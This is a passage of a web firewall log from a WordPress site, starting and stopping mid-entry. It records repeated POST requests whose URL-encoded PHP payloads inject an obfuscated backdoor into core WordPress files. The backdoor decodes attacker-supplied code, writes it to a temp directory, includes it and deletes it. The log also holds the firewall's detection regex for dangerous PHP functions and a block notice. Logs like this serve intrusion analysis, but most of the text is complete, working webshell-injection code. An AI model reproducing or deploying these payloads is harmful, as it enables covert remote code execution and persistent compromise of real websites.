9%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4346\naccept:*\/*\n\nYS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:38:38","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4369\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 15:38:41","213.209.159.254","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4604\naccept:*\/*\n\nGu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:38:41","213.209.159.254","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","60秒以内累计超过6次以上非法请求,封锁180秒","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4604\naccept:*\/*\n\nGu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%